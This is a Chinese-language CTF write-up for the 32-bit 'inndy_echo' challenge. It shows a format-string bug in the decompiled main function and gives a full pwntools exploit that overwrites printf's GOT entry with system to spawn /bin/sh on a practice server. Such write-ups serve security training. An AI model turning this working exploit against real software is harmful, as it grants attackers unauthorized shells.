inndy_echo
准备

32 位,开了 NX
保护
分析
main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char s[256]; // [esp+Ch] [ebp-10Ch] BYREF unsigned int v4; // [esp+10Ch] [ebp-Ch]
v4 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); do { fgets(s, 256, stdin); printf(s); } while ( strcmp(s, "exit\n") ); system("echo Goodbye"); exit(0); }
|
有循环输入,存在格式化字符串漏洞
只有输入 s
与 "exit\n"
相等时退出
有 system
函数
思路:
这题有格式化字符串漏洞和 system
函数,没有连接路径
所以可以通过格式化字符串漏洞劫持 printf
的 got
表为 system
函数,再发送一个 /bin/sh\x00
来获得 shell
先通过 aaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
确定偏移量(起始位置)

偏移量为 7
根据这偏移量直接构造 payload
1 2 3 4
| printf_got=elf.got['printf'] system=elf.sym['system'] payload=fmtstr_payload(7, {printf_got: system}) io.sendline(payload)
|
最后发送一个 /bin/sh\x00
1 2 3 4 5
| printf_got=elf.got['printf'] system=elf.sym['system'] payload=fmtstr_payload(7, {printf_got: system}) io.sendline(payload) io.sendline(b'/bin/sh\x00')
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context(os='linux',log_level = 'debug',arch='i386') io=remote('node5.buuoj.cn',28310) # io= process('/home/motaly/echo') elf=ELF('/home/motaly/echo')
printf_got=elf.got['printf'] system=elf.sym['system'] payload=fmtstr_payload(7, {printf_got: system}) io.sendline(payload) io.sendline(b'/bin/sh\x00') io.interactive()
|